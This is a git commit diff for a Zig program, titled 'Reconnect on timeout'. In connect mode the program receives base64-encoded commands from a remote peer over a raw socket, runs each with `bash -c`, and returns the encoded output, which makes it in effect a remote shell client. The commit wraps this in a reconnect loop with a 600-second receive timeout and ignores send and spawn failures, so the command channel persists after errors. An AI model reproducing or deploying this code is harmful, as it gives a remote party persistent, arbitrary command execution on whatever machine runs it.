Reconnect on timeoutpush-rzokxtqymmqq

1 files changed, 83 insertions, 73 deletions

diff --git a/src/main.zig b/src/main.zig
index 20e80ea..5e8cabf 100644
--- a/src/main.zig
+++ b/src/main.zig
@@ -195,81 +195,42 @@ pub fn main(init: std.process.Init) !void {
     }
 
     if (flags.connect != null) {
-        const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
-        const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
-        // udp dest port should not be 8888 after first
-        const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
-        var connection: SaprusMessage = .{
-            .connection = .{
-                .src = src,
-                .dest = dest,
-                .seq = undefined,
-                .id = undefined,
-                .payload = flags.connect.?,
-            },
-        };
-
-        try socket.attachSaprusPortFilter(src);
-
-        var connection_buf: [2048]u8 = undefined;
-        var connection_bytes = connection.toBytes(&connection_buf);
-        headers.setPayloadLen(connection_bytes.len);
+        reconnect: while (true) {
+            headers.udp.dst_port = 8888;
+            const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
+            const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
+            // udp dest port should not be 8888 after first
+            const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
+            var connection: SaprusMessage = .{
+                .connection = .{
+                    .src = src,
+                    .dest = dest,
+                    .seq = undefined,
+                    .id = undefined,
+                    .payload = flags.connect.?,
+                },
+            };
 
-        var full_msg = blk: {
-            var msg_buf: [2048]u8 = undefined;
-            var msg_w: Writer = .fixed(&msg_buf);
-            msg_w.writeAll(&headers.toBytes()) catch unreachable;
-            msg_w.writeAll(connection_bytes) catch unreachable;
-            break :blk msg_w.buffered();
-        };
+            try socket.attachSaprusPortFilter(src);
 
-        try socket.send(full_msg);
-        var res_buf: [4096]u8 = undefined;
+            var connection_buf: [2048]u8 = undefined;
+            var connection_bytes = connection.toBytes(&connection_buf);
+            headers.setPayloadLen(connection_bytes.len);
 
-        var res = try socket.receive(&res_buf);
+            var full_msg = blk: {
+                var msg_buf: [2048]u8 = undefined;
+                var msg_w: Writer = .fixed(&msg_buf);
+                msg_w.writeAll(&headers.toBytes()) catch unreachable;
+                msg_w.writeAll(connection_bytes) catch unreachable;
+                break :blk msg_w.buffered();
+            };
 
-        headers.udp.dst_port = udp_dest_port;
+            socket.send(full_msg) catch continue;
+            var res_buf: [4096]u8 = undefined;
 
-        full_msg = blk: {
-            var msg_buf: [2048]u8 = undefined;
-            var msg_w: Writer = .fixed(&msg_buf);
-            msg_w.writeAll(&headers.toBytes()) catch unreachable;
-            msg_w.writeAll(connection_bytes) catch unreachable;
-            break :blk msg_w.buffered();
-        };
-        try socket.send(full_msg);
+            var res = socket.receive(&res_buf) catch continue;
 
-        while (true) {
-            res = try socket.receive(&res_buf);
-            const connection_res = blk: {
-                const msg: SaprusMessage = try .parse(res[42..]);
-                break :blk msg.connection;
-            };
-            const b64d = std.base64.standard.Decoder;
-            var connection_payload_buf: [4096]u8 = undefined;
-            const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
-            try b64d.decode(connection_payload, connection_res.payload);
-
-            const child = try std.process.spawn(init.io, .{
-                .argv = &.{ "bash", "-c", connection_payload },
-                .stdout = .pipe,
-                .stderr = .pipe,
-            });
-
-            var child_stdout: std.ArrayList(u8) = .empty;
-            defer child_stdout.deinit(init.gpa);
-            var child_stderr: std.ArrayList(u8) = .empty;
-            defer child_stderr.deinit(init.gpa);
-
-            try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);
-
-            const b64e = std.base64.standard.Encoder;
-            var cmd_output_buf: [4096]u8 = undefined;
-            const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
-
-            connection.connection.payload = cmd_output;
-            connection_bytes = connection.toBytes(&connection_buf);
-            headers.setPayloadLen(connection_bytes.len);
+            headers.udp.dst_port = udp_dest_port;
 
             full_msg = blk: {
                 var msg_buf: [2048]u8 = undefined;
@@ -278,11 +239,53 @@ pub fn main(init: std.process.Init) !void {
                 msg_w.writeAll(connection_bytes) catch unreachable;
                 break :blk msg_w.buffered();
             };
+            socket.send(full_msg) catch continue;
+
+            while (true) {
+                res = socket.receive(&res_buf) catch continue :reconnect;
+                const connection_res = blk: {
+                    const msg: SaprusMessage = try .parse(res[42..]);
+                    break :blk msg.connection;
+                };
+                const b64d = std.base64.standard.Decoder;
+                var connection_payload_buf: [4096]u8 = undefined;
+                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
+                try b64d.decode(connection_payload, connection_res.payload);
+
+                const child = std.process.spawn(init.io, .{
+                    .argv = &.{ "bash", "-c", connection_payload },
+                    .stdout = .pipe,
+                    .stderr = .pipe,
+                }) catch continue;
+
+                var child_stdout: std.ArrayList(u8) = .empty;
+                defer child_stdout.deinit(init.gpa);
+                var child_stderr: std.ArrayList(u8) = .empty;
+                defer child_stderr.deinit(init.gpa);
+
+                try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);
+
+                const b64e = std.base64.standard.Encoder;
+                var cmd_output_buf: [4096]u8 = undefined;
+                const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
+
+                connection.connection.payload = cmd_output;
+                connection_bytes = connection.toBytes(&connection_buf);
+                headers.setPayloadLen(connection_bytes.len);
+
+                full_msg = blk: {
+                    var msg_buf: [2048]u8 = undefined;
+                    var msg_w: Writer = .fixed(&msg_buf);
+                    msg_w.writeAll(&headers.toBytes()) catch continue;
+                    msg_w.writeAll(connection_bytes) catch continue;
+                    break :blk msg_w.buffered();
+                };
+
+                try socket.send(full_msg);
+            }
 
-            try socket.send(full_msg);
+            return;
         }
-
-        return;
     }
 
     unreachable;
@@ -398,6 +401,10 @@ const RawSocket = struct {
         const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
         if (bind_ret != 0) return error.BindError;
 
+        const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 };
+        const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
+        if (timeout_ret != 0) return error.SetTimeoutError;
+
         return .{
             .fd = socket,
             .sockaddr_ll = sockaddr_ll,
@@ -419,7 +426,7 @@ const RawSocket = struct {
             @ptrCast(&self.sockaddr_ll),
             @sizeOf(@TypeOf(self.sockaddr_ll)),
         );
-        std.debug.assert(sent_bytes == payload.len);
+        _ = sent_bytes;
     }
 
     fn receive(self: RawSocket, buf: []u8) ![]u8 {
@@ -431,6 +438,9 @@ const RawSocket = struct {
             null,
             null,
         );
+        if (std.os.linux.errno(len) != .SUCCESS) {
+            return error.Timeout; // TODO: get the real error, assume timeout for now.
+        }
         return buf[0..len];
     }